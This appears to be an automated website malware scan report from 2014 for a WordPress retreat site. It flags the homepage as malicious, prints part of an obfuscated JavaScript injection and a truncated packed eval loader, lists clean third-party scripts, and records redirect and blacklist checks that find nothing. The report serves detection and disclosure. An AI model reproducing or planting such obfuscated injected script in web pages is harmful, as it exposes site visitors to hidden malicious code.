Scanned pages/files
Request | Server response | Status |
http://sandpointretreat.com/ | 200 OK Content-Length: 18854 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var _01O='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8RjMwJ3bjxnMk92afNna4IDfoRHZpdHfuVGZklGaBNDfkFWZoxXZtFmTnFGV5J0c05WZtVGbFRXZnxHewBDOxcjM8JXZyJXZmVmc8hHcwAjM3IDf0h2ZpVGa8VGchN2cl5Wd8VGdpJ3d8xmc1xHZh9Gbu92NywXZtFmcml2Nyw3bm5Wa8Rnbl1Wdj9GZENDfjJ3c0V2Z8t2b8VGd1JWayRHdBRXZzxnZlJHf05WZtV3YvRGOywndpR2NywnZpBjM8RWZkF2bsxHduVmdFh2YhRHdhx3ZhRldpRGMyw3dvRmbpdHOywHZh9Gb3IDfyQ2br91cqlDM8lGchlnclVXcqxnbvlGdj5WdmFEM8V2csFmZwIDfyFmdBBDf5R2bixHdwlmcjN3QzwHc0RHa8Rnbl52bw12bDlkUVV Decoded script: eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e, Antivirus reports:
| ||
http://talusrockretreat.com/wp-includes/js/jquery/jquery.js?ver=1.10.2 | 503 Service Unavailable Content-Length: 642 Content-Type: text/html | clean |
http://talusrockretreat.com/test404page.js | 503 Service Unavailable Content-Length: 642 Content-Type: text/html | clean |
http://talusrockretreat.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://talusrockretreat.com/wp-content/themes/devly/assets/scripts/libs/jquery.modernizr.js?ver=2.5.1 | 503 Service Unavailable Content-Length: 643 Content-Type: text/html | clean |
http://talusrockretreat.com/wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.4.7.3 | 503 Service Unavailable Content-Length: 643 Content-Type: text/html | clean |
http://talusrockretreat.com/wp-includes/js/jquery/ui/jquery.ui.effect.min.js?ver=1.10.3 | 503 Service Unavailable Content-Length: 643 Content-Type: text/html | clean |
http://talusrockretreat.com/wp-content/plugins/page-scroll-to-id/jquery.malihu.PageScroll2id.js?ver=1.2 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://talusrockretreat.com/wp-content/plugins/page-scroll-to-id/jquery.malihu.PageScroll2id-init.js?ver=1.2 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://s0.wp.com/wp-content/js/devicepx-jetpack.js?ver=201440 | 200 OK Content-Length: 9301 Content-Type: application/x-javascript | clean |
http://s.gravatar.com/js/gprofiles.js?ver=2014Sepaa | 200 OK Content-Length: 21442 Content-Type: application/x-javascript | clean |
http://talusrockretreat.com/wp-content/plugins/jetpack/modules/wpgroho.js?ver=3.8.4 | 503 Service Unavailable Content-Length: 642 Content-Type: text/html | clean |
http://talusrockretreat.com/wp-content/themes/devly/assets/scripts/main.js?ver=2.5.0 | 500 timeout Content-Length: 30 Content-Type: text/plain | clean |
http://stats.wordpress.com/e-201440.js | 200 OK Content-Length: 824 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: sandpointretreat.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 30 Sep 2014 18:30:51 GMT
Via: 1.1 varnish
Accept-Ranges: bytes
Age: 0
Server: nginx/1.6.2
Content-Length: 18854
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/P3sMCW-r>; rel=shortlink
X-Cache: HIT
X-Pingback: http://talusrockretreat.com/xmlrpc.php
X-Varnish: 2056977845 2056977844
...18854 bytes of data.
GET / HTTP/1.1
Host: sandpointretreat.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 30 Sep 2014 18:30:51 GMT
Via: 1.1 varnish
Accept-Ranges: bytes
Age: 0
Server: nginx/1.6.2
Content-Length: 18854
Content-Type: text/html; charset=UTF-8
Link: <http://wp.me/P3sMCW-r>; rel=shortlink
X-Cache: HIT
X-Pingback: http://talusrockretreat.com/xmlrpc.php
X-Varnish: 2056977845 2056977844
...18854 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: sandpointretreat.com
Referer: http://www.google.com/search?q=sandpointretreat.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: sandpointretreat.com
Referer: http://www.google.com/search?q=sandpointretreat.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=sandpointretreat.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://sandpointretreat.com/
Result: sandpointretreat.com is not infected or malware details are not published yet.
Result: sandpointretreat.com is not infected or malware details are not published yet.